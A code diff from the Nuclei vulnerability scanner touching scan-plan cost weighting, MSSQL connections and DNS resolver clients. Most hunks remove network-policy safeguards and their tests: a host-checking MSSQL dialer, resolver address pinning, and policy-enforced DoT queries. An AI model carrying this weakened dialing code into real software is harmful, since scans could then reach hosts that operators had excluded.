// each block is weighted by its own protocol, so a template mixing
|
||||
// http with javascript is not priced as all http
|
||||
for _, request := range template.RequestsQueue {
|
||||
entry.Cost += request.Requests() * weight(request.Type())
|
||||
}
|
||||
default:
|
||||
entry.Cost = entry.Requests * weight(template.Type())
|
||||
}
|
||||
return entry
|
||||
}
|
||||
|
||||
func isCluster(template *templates.Template) bool {
|
||||
_, ok := template.Executer.(*templates.ClusterExecuter)
|
||||
return ok
|
||||
}
|
||||
|
||||
// planEntryID derives the id from what the entry runs, so planning the same
|
||||
// scan again yields the same ids.
|
||||
func planEntryID(entry PlanEntry) string {
|
||||
sum := sha256.Sum256([]byte(entry.Target + "\x00" + entry.IP + "\x00" + strings.Join(entry.Templates, "\x00")))
|
||||
return hex.EncodeToString(sum[:8])
|
||||
}
|
||||
@@ -1,156 +0,0 @@
|
||||
package core
|
||||
|
||||
import (
|
||||
"context"
|
||||
"sync"
|
||||
"testing"
|
||||
|
||||
"github.com/projectdiscovery/nuclei/v3/pkg/protocols"
|
||||
"github.com/projectdiscovery/nuclei/v3/pkg/protocols/common/contextargs"
|
||||
"github.com/projectdiscovery/nuclei/v3/pkg/protocols/headless"
|
||||
"github.com/projectdiscovery/nuclei/v3/pkg/protocols/http"
|
||||
"github.com/projectdiscovery/nuclei/v3/pkg/templates"
|
||||
tmpltypes "github.com/projectdiscovery/nuclei/v3/pkg/templates/types"
|
||||
"github.com/projectdiscovery/nuclei/v3/pkg/types"
|
||||
"github.com/stretchr/testify/require"
|
||||
)
|
||||
|
||||
func TestPlanEntryCostWeightsByProtocol(t *testing.T) {
|
||||
headless := &templates.Template{ID: "h", RequestsHeadless: []*headless.Request{{}}, TotalRequests: 2}
|
||||
require.Equal(t, 120, planEntry(headless, &contextargs.MetaInput{Input: "t"}, nil).Cost)
|
||||
|
||||
plain := &templates.Template{ID: "p", TotalRequests: 2}
|
||||
require.Equal(t, 2, planEntry(plain, &contextargs.MetaInput{Input: "t"}, nil).Cost, "unlisted protocols cost one request each")
|
||||
}
|
||||
|
||||
// countedRequest is a request block with a fixed protocol and count.
|
||||
type countedRequest struct {
|
||||
protocols.Request
|
||||
protocol tmpltypes.ProtocolType
|
||||
requests int
|
||||
}
|
||||
|
||||
func (r countedRequest) Type() tmpltypes.ProtocolType { return r.protocol }
|
||||
func (r countedRequest) Requests() int { return r.requests }
|
||||
|
||||
func TestPlanEntryWeightsEachProtocolBlock(t *testing.T) {
|
||||
// one http request and ten javascript calls: Type() reports http for the
|
||||
// whole template, which would price it as 11
|
||||
mixed := &templates.Template{
|
||||
ID: "mixed",
|
||||
RequestsHTTP: []*http.Request{{}},
|
||||
TotalRequests: 11,
|
||||
RequestsQueue: []protocols.Request{
|
||||
countedRequest{protocol: tmpltypes.HTTPProtocol, requests: 1},
|
||||
countedRequest{protocol: tmpltypes.JavascriptProtocol, requests: 10},
|
||||
},
|
||||
}
|
||||
entry := planEntry(mixed, &contextargs.MetaInput{Input: "t"}, nil)
|
||||
require.Equal(t, 11, entry.Requests)
|
||||
require.Equal(t, 101, entry.Cost)
|
||||
}
|
||||
|
||||
func TestPlanListsThePairsTheScanRuns(t *testing.T) {
|
||||
options := &types.Options{BulkSize: 2, TemplateThreads: 2, HeadlessBulkSize: 1, HeadlessTemplateThreads: 1}
|
||||
engine := New(options)
|
||||
engine.SetExecuterOptions(&protocols.ExecutorOptions{
|
||||
Logger: engine.Logger,
|
||||
Options: options,
|
||||
ResumeCfg: types.NewResumeCfg(),
|
||||
ProtocolType: tmpltypes.HTTPProtocol,
|
||||
Progress: &progressRecorder{},
|
||||
TargetScope: scopeByInput{
|
||||
"php": {paths: []string{"thinkphp.yaml"}},
|
||||
"none": {},
|
||||
},
|
||||
})
|
||||
|
||||
var (
|
||||
mu sync.Mutex
|
||||
runs []string
|
||||
)
|
||||
var templatesList []*templates.Template
|
||||
for _, path := range []string{"thinkphp.yaml", "generic.yaml"} {
|
||||
templatesList = append(templatesList, &templates.Template{
|
||||
ID: path,
|
||||
Path: path,
|
||||
TotalRequests: 3,
|
||||
Executer: &recordingExecuter{path: path, mu: &mu, runs: &runs},
|
||||
})
|
||||
}
|
||||
selfContained := &templates.Template{ID: "self.yaml", Path: "self.yaml", SelfContained: true, TotalRequests: 1}
|
||||
targets := &fakeTargetProvider{values: []*contextargs.MetaInput{{Input: "php"}, {Input: "none"}, {Input: "plain"}}}
|
||||
|
||||
var plan []PlanEntry
|
||||
engine.Plan(append(templatesList, selfContained), targets, true, func(entry PlanEntry) { plan = append(plan, entry) })
|
||||
|
||||
require.Empty(t, plan[0].Target, "a self-contained template runs once, with no target")
|
||||
require.Equal(t, []string{"self.yaml"}, plan[0].Templates)
|
||||
var planned []string
|
||||
ids := make(map[string]struct{})
|
||||
for _, entry := range plan[1:] {
|
||||
require.Equal(t, 3, entry.Requests)
|
||||
planned = append(planned, entry.Templates[0]+"@"+entry.Target)
|
||||
ids[entry.ID] = struct{}{}
|
||||
}
|
||||
require.Len(t, ids, len(plan)-1, "every entry has its own id")
|
||||
|
||||
var again []PlanEntry
|
||||
engine.Plan(append(templatesList, selfContained), targets, true, func(entry PlanEntry) { again = append(again, entry) })
|
||||
require.Equal(t, plan, again, "planning the same scan again yields the same entries and ids")
|
||||
|
||||
engine.ExecuteScanWithOpts(context.Background(), templatesList, targets, true)
|
||||
require.ElementsMatch(t, runs, planned, "the plan lists exactly the pairs the scan runs")
|
||||
require.ElementsMatch(t, []string{"thinkphp.yaml@php", "thinkphp.yaml@plain", "generic.yaml@plain"}, planned)
|
||||
}
|
||||
|
||||
func TestPlanListsOriginAlternatives(t *testing.T) {
|
||||
options := &types.Options{BulkSize: 1, TemplateThreads: 1, HeadlessBulkSize: 1, HeadlessTemplateThreads: 1}
|
||||
engine := New(options)
|
||||
engine.SetExecuterOptions(&protocols.ExecutorOptions{
|
||||
Logger: engine.Logger,
|
||||
Options: options,
|
||||
ResumeCfg: types.NewResumeCfg(),
|
||||
ProtocolType: tmpltypes.HTTPProtocol,
|
||||
Progress: &progressRecorder{},
|
||||
})
|
||||
|
||||
root := &templates.Template{
|
||||
ID: "root.yaml",
|
||||
RequestsHTTP: []*http.Request{{Path: []string{"{{RootURL}}/health"}}},
|
||||
TotalRequests: 1,
|
||||
}
|
||||
require.True(t, root.IsOriginScoped())
|
||||
generic := &templates.Template{ID: "generic.yaml", TotalRequests: 1}
|
||||
targets := &fakeTargetProvider{values: []*contextargs.MetaInput{
|
||||
{Input: "https://example.com/a"},
|
||||
{Input: "https://example.com/b"},
|
||||
{Input: "https://other.example/a"},
|
||||
{Input: "https://example.com/a", CustomIP: "203.0.113.5"},
|
||||
}}
|
||||
|
||||
var plan []PlanEntry
|
||||
engine.Plan([]*templates.Template{generic, root}, targets, true, func(entry PlanEntry) {
|
||||
plan = append(plan, entry)
|
||||
})
|
||||
|
||||
var roots []PlanEntry
|
||||
for _, entry := range plan {
|
||||
if entry.Templates[0] == "root.yaml" {
|
||||
roots = append(roots, entry)
|
||||
}
|
||||
}
|
||||
require.Equal(t, []PlanEntry{
|
||||
{ID: roots[0].ID, Target: "https://example.com/a", Templates: []string{"root.yaml"}, Protocol: "http", Requests: 1, Cost: 1},
|
||||
{ID: roots[1].ID, Target: "https://example.com/b", Templates: []string{"root.yaml"}, Protocol: "http", Requests: 1, Cost: 1, AlternativeTo: roots[0].ID},
|
||||
{ID: roots[2].ID, Target: "https://other.example/a", Templates: []string{"root.yaml"}, Protocol: "http", Requests: 1, Cost: 1},
|
||||
{ID: roots[3].ID, Target: "https://example.com/a", IP: "203.0.113.5", Templates: []string{"root.yaml"}, Protocol: "http", Requests: 1, Cost: 1},
|
||||
}, roots)
|
||||
require.NotEqual(t, roots[0].ID, roots[3].ID, "a pinned address is its own attempt")
|
||||
|
||||
var again []PlanEntry
|
||||
engine.Plan([]*templates.Template{generic, root}, targets, true, func(entry PlanEntry) {
|
||||
again = append(again, entry)
|
||||
})
|
||||
require.Equal(t, plan, again)
|
||||
}
|
||||
@@ -8,6 +8,8 @@ import (
|
||||
|
||||
"fmt"
|
||||
|
||||
_ "github.com/microsoft/go-mssqldb"
|
||||
|
||||
"github.com/projectdiscovery/nuclei/v3/pkg/protocols/common/protocolstate"
|
||||
)
|
||||
|
||||
|
||||
+16
-87
@@ -9,58 +9,11 @@ import (
|
||||
"net/url"
|
||||
"strings"
|
||||
|
||||
gomssql "github.com/microsoft/go-mssqldb"
|
||||
_ "github.com/microsoft/go-mssqldb"
|
||||
"github.com/projectdiscovery/nuclei/v3/pkg/js/utils"
|
||||
"github.com/projectdiscovery/nuclei/v3/pkg/protocols/common/protocolstate"
|
||||
)
|
||||
|
||||
// mssqlCustomDialer routes connection dialing through Nuclei's fastdialer.
|
||||
// Implementing HostDialer ensures the driver delegates hostname resolution to the dialer
|
||||
// rather than using the local OS net.LookupIP, keeping DNS resolution, scan proxies,
|
||||
// and dial-time network policies strictly enforced.
|
||||
type mssqlCustomDialer struct {
|
||||
executionId string
|
||||
host string
|
||||
}
|
||||
|
||||
var _ gomssql.HostDialer = (*mssqlCustomDialer)(nil)
|
||||
|
||||
func (d *mssqlCustomDialer) DialContext(ctx context.Context, network, addr string) (net.Conn, error) {
|
||||
dialers := protocolstate.GetDialersWithId(d.executionId)
|
||||
if dialers == nil {
|
||||
return nil, fmt.Errorf("dialers not initialized for %s", d.executionId)
|
||||
}
|
||||
targetHost, _, err := net.SplitHostPort(addr)
|
||||
if err != nil {
|
||||
targetHost = addr
|
||||
}
|
||||
if !protocolstate.IsHostAllowed(d.executionId, targetHost) {
|
||||
return nil, protocolstate.ErrHostDenied.Msgf(targetHost)
|
||||
}
|
||||
return dialers.Fastdialer.Dial(ctx, network, addr)
|
||||
}
|
||||
|
||||
func (d *mssqlCustomDialer) HostName() string {
|
||||
return d.host
|
||||
}
|
||||
|
||||
func openDB(executionId, target, username, password, dbName string) (*sql.DB, error) {
|
||||
host, _, err := net.SplitHostPort(target)
|
||||
if err != nil {
|
||||
host = target
|
||||
}
|
||||
connString := mssqlConnString(target, username, password, dbName)
|
||||
connector, err := gomssql.NewConnector(connString)
|
||||
if err != nil {
|
||||
return nil, err
|
||||
}
|
||||
connector.Dialer = &mssqlCustomDialer{
|
||||
executionId: executionId,
|
||||
host: host,
|
||||
}
|
||||
return sql.OpenDB(connector), nil
|
||||
}
|
||||
|
||||
type (
|
||||
// Client is a client for MS SQL database.
|
||||
// Internally client uses microsoft/go-mssqldb driver.
|
||||
@@ -114,7 +67,9 @@ func connect(ctx context.Context, executionId string, host string, port int, use
|
||||
|
||||
target := net.JoinHostPort(host, fmt.Sprintf("%d", port))
|
||||
|
||||
db, err := openDB(executionId, target, username, password, dbName)
|
||||
connString := mssqlConnString(target, username, password, dbName)
|
||||
|
||||
db, err := sql.Open("sqlserver", connString)
|
||||
if err != nil {
|
||||
return false, err
|
||||
}
|
||||
@@ -124,7 +79,16 @@ func connect(ctx context.Context, executionId string, host string, port int, use
|
||||
|
||||
_, err = db.ExecContext(ctx, "select 1")
|
||||
if err != nil {
|
||||
if isNetworkError(err) {
|
||||
switch {
|
||||
case strings.Contains(err.Error(), "connect: connection refused"):
|
||||
fallthrough
|
||||
case strings.Contains(err.Error(), "no pg_hba.conf entry for host"):
|
||||
fallthrough
|
||||
case strings.Contains(err.Error(), "network unreachable"):
|
||||
fallthrough
|
||||
case strings.Contains(err.Error(), "reset"):
|
||||
fallthrough
|
||||
case strings.Contains(err.Error(), "i/o timeout"):
|
||||
return false, err
|
||||
}
|
||||
return false, nil
|
||||
@@ -132,42 +96,6 @@ func connect(ctx context.Context, executionId string, host string, port int, use
|
||||
return true, nil
|
||||
}
|
||||
|
||||
// isNetworkError reports whether an error indicates a network, dialer,
|
||||
// timeout, or policy failure as opposed to a server-side authentication rejection.
|
||||
func isNetworkError(err error) bool {
|
||||
if err == nil {
|
||||
return false
|
||||
}
|
||||
if errors.Is(err, context.Canceled) || errors.Is(err, context.DeadlineExceeded) {
|
||||
return true
|
||||
}
|
||||
var netErr net.Error
|
||||
if errors.As(err, &netErr) {
|
||||
return true
|
||||
}
|
||||
errStr := strings.ToLower(err.Error())
|
||||
for _, marker := range []string{
|
||||
"connection refused",
|
||||
"actively refused",
|
||||
"port closed",
|
||||
"unable to open tcp connection",
|
||||
"network unreachable",
|
||||
"connection reset",
|
||||
"i/o timeout",
|
||||
"connection timed out",
|
||||
"context canceled",
|
||||
"deadline exceeded",
|
||||
"dialers not initialized",
|
||||
"network policy",
|
||||
"host denied",
|
||||
} {
|
||||
if strings.Contains(errStr, marker) {
|
||||
return true
|
||||
}
|
||||
}
|
||||
return false
|
||||
}
|
||||
|
||||
// IsMssql checks if the given host is running MS SQL database.
|
||||
// If the host is running MS SQL database, it returns true.
|
||||
// If the host is not running MS SQL database, it returns false.
|
||||
@@ -228,8 +156,9 @@ func (c *MSSQLClient) ExecuteQuery(ctx context.Context, host string, port int, u
|
||||
}
|
||||
|
||||
target := net.JoinHostPort(host, fmt.Sprintf("%d", port))
|
||||
connString := mssqlConnString(target, username, password, dbName)
|
||||
|
||||
db, err := openDB(executionId, target, username, password, dbName)
|
||||
db, err := sql.Open("sqlserver", connString)
|
||||
if err != nil {
|
||||
return nil, err
|
||||
}
|
||||
|
||||
@@ -1,18 +1,9 @@
|
||||
package mssql
|
||||
|
||||
import (
|
||||
"context"
|
||||
"errors"
|
||||
"net"
|
||||
"strconv"
|
||||
"testing"
|
||||
"time"
|
||||
|
||||
gomssql "github.com/microsoft/go-mssqldb"
|
||||
"github.com/microsoft/go-mssqldb/msdsn"
|
||||
"github.com/projectdiscovery/goflags"
|
||||
"github.com/projectdiscovery/nuclei/v3/pkg/protocols/common/protocolstate"
|
||||
"github.com/projectdiscovery/nuclei/v3/pkg/types"
|
||||
"github.com/stretchr/testify/require"
|
||||
)
|
||||
|
||||
@@ -42,114 +33,3 @@ func TestConnectionStringKeepsPlainDatabaseName(t *testing.T) {
|
||||
|
||||
require.Equal(t, "master", cfg.Database)
|
||||
}
|
||||
|
||||
func TestOpenDBUsesCustomFastdialer(t *testing.T) {
|
||||
execID := "mssql-opendb-test"
|
||||
require.NoError(t, protocolstate.Init(&types.Options{ExecutionId: execID}))
|
||||
t.Cleanup(func() { protocolstate.Close(execID) })
|
||||
|
||||
db, err := openDB(execID, "127.0.0.1:1433", "user", "pass", "master")
|
||||
require.NoError(t, err)
|
||||
require.NotNil(t, db)
|
||||
_ = db.Close()
|
||||
}
|
||||
|
||||
func TestMssqlDialerEnforcesNetworkPolicy(t *testing.T) {
|
||||
execID := "mssql-policy-test"
|
||||
require.NoError(t, protocolstate.Init(&types.Options{
|
||||
ExecutionId: execID,
|
||||
ExcludeTargets: goflags.StringSlice{"denied.host"},
|
||||
}))
|
||||
t.Cleanup(func() { protocolstate.Close(execID) })
|
||||
|
||||
dialer := &mssqlCustomDialer{
|
||||
executionId: execID,
|
||||
host: "denied.host",
|
||||
}
|
||||
require.Equal(t, "denied.host", dialer.HostName())
|
||||
var _ gomssql.HostDialer = dialer
|
||||
|
||||
_, err := dialer.DialContext(context.Background(), "tcp", "denied.host:1433")
|
||||
require.Error(t, err)
|
||||
require.Contains(t, err.Error(), "network policy")
|
||||
|
||||
uninitDialer := &mssqlCustomDialer{
|
||||
executionId: "nonexistent-exec-id",
|
||||
host: "example.com",
|
||||
}
|
||||
_, err = uninitDialer.DialContext(context.Background(), "tcp", "example.com:1433")
|
||||
require.Error(t, err)
|
||||
require.Contains(t, err.Error(), "dialers not initialized")
|
||||
}
|
||||
|
||||
func TestConnectFailsFastOnClosedPort(t *testing.T) {
|
||||
execID := "mssql-closed-port-test"
|
||||
require.NoError(t, protocolstate.Init(&types.Options{ExecutionId: execID}))
|
||||
t.Cleanup(func() { protocolstate.Close(execID) })
|
||||
|
||||
ln, err := net.Listen("tcp", "127.0.0.1:0")
|
||||
require.NoError(t, err)
|
||||
_, portStr, err := net.SplitHostPort(ln.Addr().String())
|
||||
require.NoError(t, err)
|
||||
port, err := strconv.Atoi(portStr)
|
||||
require.NoError(t, err)
|
||||
_ = ln.Close()
|
||||
|
||||
ctx, cancel := context.WithTimeout(context.Background(), 2*time.Second)
|
||||
defer cancel()
|
||||
|
||||
ok, err := connect(ctx, execID, "127.0.0.1", port, "user", "pass", "master")
|
||||
require.Error(t, err)
|
||||
require.False(t, ok)
|
||||
}
|
||||
|
||||
func TestConnectWithCanceledContext(t *testing.T) {
|
||||
execID := "mssql-canceled-ctx-test"
|
||||
require.NoError(t, protocolstate.Init(&types.Options{ExecutionId: execID}))
|
||||
t.Cleanup(func() { protocolstate.Close(execID) })
|
||||
|
||||
ctx, cancel := context.WithCancel(context.Background())
|
||||
cancel() // Cancel immediately
|
||||
|
||||
ok, err := connect(ctx, execID, "127.0.0.1", 1433, "user", "pass", "master")
|
||||
require.Error(t, err)
|
||||
require.False(t, ok)
|
||||
}
|
||||
|
||||
func TestIsNetworkError(t *testing.T) {
|
||||
require.True(t, isNetworkError(errors.New("connect: connection refused")))
|
||||
require.True(t, isNetworkError(errors.New("No connection could be made because the target machine actively refused it.")))
|
||||
require.True(t, isNetworkError(errors.New("unable to open tcp connection with host '127.0.0.1:1433': cause=\"port closed or filtered\"")))
|
||||
require.True(t, isNetworkError(errors.New("network unreachable")))
|
||||
require.True(t, isNetworkError(errors.New("connection reset by peer")))
|
||||
require.True(t, isNetworkError(errors.New("i/o timeout")))
|
||||
require.True(t, isNetworkError(context.Canceled))
|
||||
require.True(t, isNetworkError(context.DeadlineExceeded))
|
||||
require.True(t, isNetworkError(protocolstate.ErrHostDenied.Msgf("127.0.0.1")))
|
||||
|
||||
// Server-side responses / authentication failures are not network errors
|
||||
require.False(t, isNetworkError(nil))
|
||||
require.False(t, isNetworkError(errors.New("mssql: Login failed for user 'sa'")))
|
||||
require.False(t, isNetworkError(errors.New("mssql: Cannot open database \"secret\" requested by the login")))
|
||||
require.False(t, isNetworkError(errors.New("mssql: Password has expired")))
|
||||
require.False(t, isNetworkError(errors.New("mssql: Permission denied to database")))
|
||||
require.False(t, isNetworkError(errors.New("mssql: Password must be reset")))
|
||||
require.False(t, isNetworkError(errors.New("mssql: The query timed out")))
|
||||
}
|
||||
|
||||
func TestExecuteQueryUsesFastdialer(t *testing.T) {
|
||||
execID := "mssql-execute-query-test"
|
||||
require.NoError(t, protocolstate.Init(&types.Options{ExecutionId: execID}))
|
||||
t.Cleanup(func() { protocolstate.Close(execID) })
|
||||
|
||||
client := &MSSQLClient{}
|
||||
ctx := context.WithValue(context.Background(), "executionId", execID) //nolint:staticcheck // SA1029: executionId string key matches goja runtime injection
|
||||
|
||||
// Denied host should fail policy check immediately
|
||||
_, err := client.ExecuteQuery(ctx, "denied.host", 1433, "user", "pass", "master", "SELECT 1")
|
||||
require.Error(t, err)
|
||||
|
||||
// Closed port should fail
|
||||
_, err = client.ExecuteQuery(ctx, "127.0.0.1", 65530, "user", "pass", "master", "SELECT 1")
|
||||
require.Error(t, err)
|
||||
}
|
||||
@@ -1,10 +1,8 @@
|
||||
package dns
|
||||
|
||||
import (
|
||||
"context"
|
||||
"net"
|
||||
"strings"
|
||||
"time"
|
||||
|
||||
"github.com/miekg/dns"
|
||||
"github.com/pkg/errors"
|
||||
@@ -18,7 +16,6 @@ import (
|
||||
"github.com/projectdiscovery/nuclei/v3/pkg/protocols/common/replacer"
|
||||
"github.com/projectdiscovery/nuclei/v3/pkg/protocols/dns/dnsclientpool"
|
||||
fileutil "github.com/projectdiscovery/utils/file"
|
||||
iputil "github.com/projectdiscovery/utils/ip"
|
||||
)
|
||||
|
||||
// Request contains a DNS protocol request to be made from a template
|
||||
@@ -207,48 +204,6 @@ func resolverHost(resolver string) string {
|
||||
return r
|
||||
}
|
||||
|
||||
// pinResolverHost replaces a resolver host name with an address that the
|
||||
// network policy allows. The policy check passes when one address of the name
|
||||
// is allowed, and the dns client resolves the name again when it dials, so it
|
||||
// could otherwise reach a denied address of the same name.
|
||||
// The lookup stops after timeout, so a slow system resolver cannot hold the
|
||||
// request.
|
||||
func pinResolverHost(executionID, resolver, host string, timeout time.Duration) (string, error) {
|
||||
// DoH and DoT resolvers dial through the scan dialer, which checks every
|
||||
// address, and DoT verifies the certificate against the name.
|
||||
if iputil.IsIP(host) || strings.HasPrefix(resolver, "doh:") || strings.HasPrefix(resolver, "dot:") {
|
||||
return resolver, nil
|
||||
}
|
||||
ctx, cancel := context.WithTimeout(context.Background(), timeout)
|
||||
defer cancel()
|
||||
addrs, err := net.DefaultResolver.LookupHost(ctx, host)
|
||||
if err != nil {
|
||||
return "", errors.Wrapf(err, "could not resolve dns resolver %s", resolver)
|
||||
}
|
||||
prefix, address := resolver, ""
|
||||
if index := strings.LastIndex(resolver, host); index != -1 {
|
||||
prefix, address = resolver[:index], resolver[index:]
|
||||
}
|
||||
port := "53"
|
||||
if _, p, err := net.SplitHostPort(address); err == nil && p != "" {
|
||||
port = p
|
||||
}
|
||||
for _, addr := range addrs {
|
||||
if protocolstate.IsHostAllowed(executionID, addr) {
|
||||
return prefix + net.JoinHostPort(addr, port), nil
|
||||
}
|
||||
}
|
||||
return "", errors.Errorf("dns resolver %s is blocked by network policy", resolver)
|
||||
}
|
||||
|
||||
// resolverLookupTimeout is the scan timeout, or ten seconds when it is not set.
|
||||
func resolverLookupTimeout(options *protocols.ExecutorOptions) time.Duration {
|
||||
if options.Options.Timeout > 0 {
|
||||
return time.Duration(options.Options.Timeout) * time.Second
|
||||
}
|
||||
return 10 * time.Second
|
||||
}
|
||||
|
||||
func (request *Request) getDnsClient(options *protocols.ExecutorOptions, metadata map[string]interface{}) (*dnsclientpool.Client, error) {
|
||||
dnsClientOptions := &dnsclientpool.Configuration{
|
||||
Retries: request.Retries,
|
||||
@@ -282,11 +237,6 @@ func (request *Request) getDnsClient(options *protocols.ExecutorOptions, metadat
|
||||
if !protocolstate.IsHostAllowed(options.Options.ExecutionId, host) {
|
||||
return nil, errors.Errorf("dns resolver %s is blocked by network policy", resolver)
|
||||
}
|
||||
pinned, err := pinResolverHost(options.Options.ExecutionId, resolver, host, resolverLookupTimeout(options))
|
||||
if err != nil {
|
||||
return nil, err
|
||||
}
|
||||
resolver = pinned
|
||||
}
|
||||
resolvers = append(resolvers, resolver)
|
||||
}
|
||||
|
||||
@@ -93,7 +93,7 @@ func Get(options *types.Options, configuration *Configuration) (*Client, error)
|
||||
if (configuration.Retries <= 1) && len(configuration.Resolvers) == 0 {
|
||||
return cachedClient(resolversFor(options))
|
||||
}
|
||||
if len(options.InternalResolversList) == 0 && hasPolicyResolver(configuration.Resolvers) {
|
||||
if len(options.InternalResolversList) == 0 && hasDohResolver(configuration.Resolvers) {
|
||||
return getPolicyClient(options, configuration)
|
||||
}
|
||||
hash := configuration.Hash()
|
||||
|
||||
@@ -3,14 +3,12 @@ package dnsclientpool
|
||||
import (
|
||||
"context"
|
||||
"crypto/tls"
|
||||
"crypto/x509"
|
||||
"fmt"
|
||||
"net"
|
||||
"net/http"
|
||||
"strings"
|
||||
"sync"
|
||||
"sync/atomic"
|
||||
"time"
|
||||
|
||||
"github.com/miekg/dns"
|
||||
"github.com/pkg/errors"
|
||||
@@ -21,8 +19,8 @@ import (
|
||||
)
|
||||
|
||||
// Client sends the DNS queries of a template. It sends queries for template
|
||||
// DoH and DoT resolvers itself, because the retryabledns clients dial and
|
||||
// follow redirects without the network policy of the scan.
|
||||
// DoH resolvers itself, because the retryabledns DoH client dials and follows
|
||||
// redirects without the network policy of the scan.
|
||||
type Client struct {
|
||||
*retryabledns.Client
|
||||
|
||||
@@ -31,51 +29,31 @@ type Client struct {
|
||||
index uint32
|
||||
doh *doh.Client
|
||||
transport *http.Transport
|
||||
dial func(ctx context.Context, network, address string) (net.Conn, error)
|
||||
timeout time.Duration
|
||||
}
|
||||
|
||||
// resolver is one template resolver. url is set for a DoH resolver and dot
|
||||
// for a DoT resolver, and both are empty for a resolver that retryabledns
|
||||
// queries over UDP or TCP.
|
||||
// resolver is one template resolver. url is empty for a resolver that
|
||||
// retryabledns queries over UDP, TCP or DoT.
|
||||
type resolver struct {
|
||||
url string
|
||||
method doh.Method
|
||||
dot string
|
||||
}
|
||||
|
||||
var (
|
||||
// policyClients holds the clients with DoH or DoT resolvers of each execution,
|
||||
// policyClients holds the clients with DoH resolvers of each execution,
|
||||
// because each one dials with the dialer of its execution.
|
||||
policyClients = map[string]map[string]*Client{}
|
||||
policyMu sync.Mutex
|
||||
|
||||
// dotRootCAs verifies DoT certificates, and nil uses the system roots.
|
||||
dotRootCAs *x509.CertPool
|
||||
)
|
||||
|
||||
func hasPolicyResolver(resolvers []string) bool {
|
||||
func hasDohResolver(resolvers []string) bool {
|
||||
for _, r := range resolvers {
|
||||
if strings.HasPrefix(r, "doh:") || strings.HasPrefix(r, "dot:") {
|
||||
if strings.HasPrefix(r, "doh:") {
|
||||
return true
|
||||
}
|
||||
}
|
||||
return false
|
||||
}
|
||||
|
||||
// parseDotResolver returns the host and port of a resolver such as
|
||||
// dot:dns.example or dot:dns.example:853, in the same way as retryabledns.
|
||||
func parseDotResolver(r string) (resolver, bool) {
|
||||
if !strings.HasPrefix(r, "dot:") {
|
||||
return resolver{}, false
|
||||
}
|
||||
address := strings.TrimPrefix(r, "dot:")
|
||||
if _, _, err := net.SplitHostPort(address); err != nil {
|
||||
address = net.JoinHostPort(address, "853")
|
||||
}
|
||||
return resolver{dot: address}, true
|
||||
}
|
||||
|
||||
// parseDohResolver returns the URL and method of a resolver such as
|
||||
// doh:https://dns.example/dns-query:get, in the same way as retryabledns.
|
||||
func parseDohResolver(r string) (resolver, bool) {
|
||||
@@ -113,14 +91,10 @@ func getPolicyClient(options *types.Options, configuration *Configuration) (*Cli
|
||||
client.resolvers = append(client.resolvers, parsed)
|
||||
continue
|
||||
}
|
||||
if parsed, ok := parseDotResolver(r); ok {
|
||||
client.resolvers = append(client.resolvers, parsed)
|
||||
continue
|
||||
}
|
||||
client.resolvers = append(client.resolvers, resolver{})
|
||||
networkResolvers = append(networkResolvers, r)
|
||||
}
|
||||
// Trace and the UDP and TCP resolvers still go through retryabledns.
|
||||
// Trace and the non DoH resolvers still go through retryabledns.
|
||||
if len(networkResolvers) == 0 {
|
||||
networkResolvers = defaultResolvers
|
||||
}
|
||||
@@ -137,16 +111,14 @@ func getPolicyClient(options *types.Options, configuration *Configuration) (*Cli
|
||||
// The scan dialer checks every address it connects to, so redirects
|
||||
// and names that resolve to a denied address are refused too. It also
|
||||
// goes through the scan proxy when one is set.
|
||||
client.dial = func(ctx context.Context, network, address string) (net.Conn, error) {
|
||||
dialers := protocolstate.GetDialersWithId(executionID)
|
||||
if dialers == nil || dialers.Fastdialer == nil {
|
||||
return nil, fmt.Errorf("dialers not initialized for %s", executionID)
|
||||
}
|
||||
return dialers.Fastdialer.Dial(ctx, network, address)
|
||||
}
|
||||
client.timeout = options.GetTimeouts().DialTimeout
|
||||
client.transport = &http.Transport{
|
||||
DialContext: client.dial,
|
||||
DialContext: func(ctx context.Context, network, address string) (net.Conn, error) {
|
||||
dialers := protocolstate.GetDialersWithId(executionID)
|
||||
if dialers == nil || dialers.Fastdialer == nil {
|
||||
return nil, fmt.Errorf("dialers not initialized for %s", executionID)
|
||||
}
|
||||
return dialers.Fastdialer.Dial(ctx, network, address)
|
||||
},
|
||||
// same as the retryabledns DoH client
|
||||
TLSClientConfig: &tls.Config{InsecureSkipVerify: true}, // #nosec G402
|
||||
}
|
||||
@@ -177,8 +149,6 @@ func (c *Client) Do(msg *dns.Msg) (*dns.Msg, error) {
|
||||
r := c.resolvers[index%uint32(len(c.resolvers))]
|
||||
if r.url != "" {
|
||||
resp, err = c.doh.QueryWithDOHMsg(r.method, doh.Resolver{URL: r.url}, msg)
|
||||
} else if r.dot != "" {
|
||||
resp, err = c.queryDoT(r.dot, msg)
|
||||
} else {
|
||||
resp, err = c.Client.Do(msg)
|
||||
}
|
||||
@@ -189,35 +159,7 @@ func (c *Client) Do(msg *dns.Msg) (*dns.Msg, error) {
|
||||
return resp, retryabledns.ErrRetriesExceeded
|
||||
}
|
||||
|
||||
// queryDoT sends a DNS message over TLS to address. It dials through the scan
|
||||
// dialer and verifies the certificate against the resolver host, as the
|
||||
// retryabledns DoT client does.
|
||||
func (c *Client) queryDoT(address string, msg *dns.Msg) (*dns.Msg, error) {
|
||||
host, _, err := net.SplitHostPort(address)
|
||||
if err != nil {
|
||||
return nil, err
|
||||
}
|
||||
timeout := c.timeout
|
||||
if timeout <= 0 {
|
||||
timeout = retryabledns.DefaultOptions.Timeout
|
||||
}
|
||||
ctx, cancel := context.WithTimeout(context.Background(), timeout)
|
||||
defer cancel()
|
||||
conn, err := c.dial(ctx, "tcp", address)
|
||||
if err != nil {
|
||||
return nil, err
|
||||
}
|
||||
tlsConn := tls.Client(conn, &tls.Config{ServerName: host, RootCAs: dotRootCAs, MinVersion: tls.VersionTLS12})
|
||||
defer func() { _ = tlsConn.Close() }()
|
||||
if err := tlsConn.HandshakeContext(ctx); err != nil {
|
||||
return nil, err
|
||||
}
|
||||
dnsClient := &dns.Client{Net: "tcp-tls", Timeout: timeout}
|
||||
resp, _, err := dnsClient.ExchangeWithConn(msg, &dns.Conn{Conn: tlsConn})
|
||||
return resp, err
|
||||
}
|
||||
|
||||
// Close drops the clients with DoH or DoT resolvers of an execution.
|
||||
// Close drops the clients with DoH resolvers of an execution.
|
||||
func Close(executionID string) {
|
||||
policyMu.Lock()
|
||||
clients := policyClients[executionID]
|
||||
|
||||
@@ -4,7 +4,6 @@ import (
|
||||
"net"
|
||||
"net/http"
|
||||
"net/http/httptest"
|
||||
"strings"
|
||||
"sync/atomic"
|
||||
"testing"
|
||||
|
||||
